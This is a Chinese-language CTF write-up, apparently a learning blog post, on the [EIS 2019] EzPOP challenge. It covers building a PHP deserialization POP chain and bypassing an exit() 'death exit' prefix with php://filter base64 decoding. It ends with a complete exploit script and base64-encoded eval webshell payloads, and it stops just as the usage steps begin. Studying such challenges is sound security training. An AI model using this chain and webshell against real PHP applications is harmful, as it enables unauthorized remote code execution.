考点:
POP链的构造:新瓶旧酒,但自己审计起来还是异常的困难。。哎
死亡退出:新知识,参考https://blog.csdn.net/ITmincherry/article/details/96166423
PS:这篇本来应该在《学习web的知识》里面的,不知道语雀是不是特别垃圾,内容一多久容易崩,搞得我只能从新写一篇
这一篇参考了:https://www.freesion.com/article/4604283472/
但是仍然看得很困难,写写自己对这题的理解和思路吧
![POP链的构造和死亡退出([EIS 2019]EzPOP) - 图1](/uploads/projects/u390550@fftlfh/a88e2d0cc3f581ba300ea709c506c226.png)
![POP链的构造和死亡退出([EIS 2019]EzPOP) - 图2](/uploads/projects/u390550@fftlfh/b641e6e2ac6a03491c8876721e7ede31.png)
![POP链的构造和死亡退出([EIS 2019]EzPOP) - 图3](/uploads/projects/u390550@fftlfh/032a78be00d243fb150e868be47c879c.png)
代码审计
首先题目告诉了我们是POP链,那我们就从这个方面去构造一下POP链。重点是能看懂代码(很显然2020-4-23日的我能力还有所欠妥)
首先来看一下B类(为什么?你想看哪个看哪个咧,你看得懂你就看咧):
![POP链的构造和死亡退出([EIS 2019]EzPOP) - 图4](/uploads/projects/u390550@fftlfh/8ce77e6837dd393f63fcef759808d3fb.png)
![POP链的构造和死亡退出([EIS 2019]EzPOP) - 图5](/uploads/projects/u390550@fftlfh/2b245bd700f35b9b26c2c3f1f2b28b5b.png)
可以看出,不出意外应该存在一个数组options;
往常的题目POP链是通过内置函数(就是他代码里自己编写有的比如highlight_file)来给我们构造POP链间接调用这些函数从而读取flag文件
这题不一样,这一题貌似没有读文件的函数给我们,但是我们在B类里发现了,写文件的函数。
![POP链的构造和死亡退出([EIS 2019]EzPOP) - 图6](/uploads/projects/u390550@fftlfh/924e2a1c3db3fedd84ba46ab331a67c6.png)
写文件能上传,这让我想到了一句话木马,CTF中文件上传类型的题,那我是不是可以写一句话从而getshell?
那么现在问题来了。有写过《死亡退出》这题的就发现了,有一句话阻拦了我们。
![POP链的构造和死亡退出([EIS 2019]EzPOP) - 图7](/uploads/projects/u390550@fftlfh/11bd422ebe03bbaf0f32a11e61fbeab3.png)
即使我们能写入$data(file_put_contents是写入函数),但是99行的$data被拼接上了一句话。并且里面有exit();也就是说,你要想执行你的webshell,是不可能的,因为在你调用的时候直接给你exit()挂掉了。
那怎么办,参考郁离歌大佬的blog:https://www.leavesongs.com/PENETRATION/php-filter-magic.html
99行那一串字符串长度为32(4的倍数),所以不用注意,只要不影响原值,哪个函数都行。这里我选择用strval,用strip_tags,当然也可以。所以$b->options['serialize']='strval'
![POP链的构造和死亡退出([EIS 2019]EzPOP) - 图8](/uploads/projects/u390550@fftlfh/2e0ae09aa4a57544e2a53c3b7bd6d3af.png)
这里我说一下我当时看到这里的疑惑为什么要加strval或者strip_tags?
因为这个原文章的blog主跳步骤说了,在data数据写入的时候还有个处理函数
![POP链的构造和死亡退出([EIS 2019]EzPOP) - 图9](/uploads/projects/u390550@fftlfh/998027d556e2ab392b745397b87613b7.png)
跟进一下serialize
![POP链的构造和死亡退出([EIS 2019]EzPOP) - 图10](/uploads/projects/u390550@fftlfh/2bbbc04ee21a6958b19fc8af8ce23b0d.png)
注意我刚刚的原话,是不影响原值,什么都可以,只要有,就行,在郁离歌的blog里,确实提到了这两个函数,并且这两个函数不会影响到我们的最后的参数,无所谓反正就是。
到这里 还有一个问题?说了半天写入webshell,写到哪还没说。。。。emmm
那不明摆着写入$filename吗?![POP链的构造和死亡退出([EIS 2019]EzPOP) - 图11](/uploads/projects/u390550@fftlfh/f7412c4456ac5f727810e12f2c2cb9d7.png)
但是有个问题,filename在哪,我们可控么?
![POP链的构造和死亡退出([EIS 2019]EzPOP) - 图12](/uploads/projects/u390550@fftlfh/6fc12f83ee9e1d811b5899c3d72e156c.png)
跟进这个函数
![POP链的构造和死亡退出([EIS 2019]EzPOP) - 图13](/uploads/projects/u390550@fftlfh/6e9e8d0fc86e8585d26163211c1378dd.png)
我们的filename会是由 potions[prefix]+$name构成的
我们的$filename要变成
$b->options['prefix']='php://filter/write=convert.base64-decode/resource=./uploads/'
这样就完成了对B类的操作
我们现在理一下思路:现在我们解决了写入,明确了怎么样getshell,并且得到了个信息是有这么个数组options[]。
问题来了?谁来调用$b->set()???
回到A类
![POP链的构造和死亡退出([EIS 2019]EzPOP) - 图14](/uploads/projects/u390550@fftlfh/3098a31686028793aa4db0813e1e2afc.png)
跟进这个cleanContents函数
![POP链的构造和死亡退出([EIS 2019]EzPOP) - 图15](/uploads/projects/u390550@fftlfh/784c1e453a12a254be826a30ac7c7eeb.png)
可以发现$a->catch的构造。在cleanContents()中,array_intersect_key()是比较两个数组的键名并返回交集,所以我们$object的键选$cachedProperties中任意一个都行,这个选择path。值就是我们的Shell,用base64编码。
$object = array("path"=>"JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ==");
到这又傻了,为啥要base64,编码?
敲黑板,记好了,顺便理一下思路
我们从B类知道我们可以写入一个WebShell,但是由于死亡退出的存在,我们写入也不执行,这个时候我们写入的
“WebShell”+”一串字符串”
用base64强制编码($b->options['prefix']='php://filter/write=convert.base64-decode/resource=./uploads/'),死亡退出失效,而我们的base64编码的WebShell变成正常的字符串(这就是为什么用base64编码,因为我们之前解码了,为了让他变成正常的字符串)。
如果我们设值$path='1',$complete='2',则最后得到的$contents会是
[{"1":{"path":"JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ=="}},"2"]
其中$complete='2'因为在shell后面,所以并不影响解码。在本地试了试,发现$path='111'时,可以正常解码shell。这样的话,$data已经设置完毕。
回到问题,谁来调用set?
![POP链的构造和死亡退出([EIS 2019]EzPOP) - 图16](/uploads/projects/u390550@fftlfh/16098ef2c62b7bc141e39a48342f16eb.png)
懂的都懂,只需要吧store变成B类就完事了
链的思路:
A类的__destruct()调用A类的save()
通过构造A的$store为B对象,从而在A类的save()中调用B类的set
在B类的set中最终完成shell的写入
最后exp:
<?phpclass A{protected $store;protected $key;protected $expire;public function __construct(){$this->key = 'pz.php';}public function start($tmp){$this->store = $tmp;}}class B{public $options;}$a = new A();$b = new B();$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";$b->options['expire'] = 11;$b->options['data_compress'] = false;$b->options['serialize'] = 'strval';$a->start($b);$object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg");$path = '111';$a->cache = array($path=>$object);$a->complete = '2';echo urlencode(serialize($a));?>
这里PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg为<?php eval($_POST['cmd']);?
具体操作
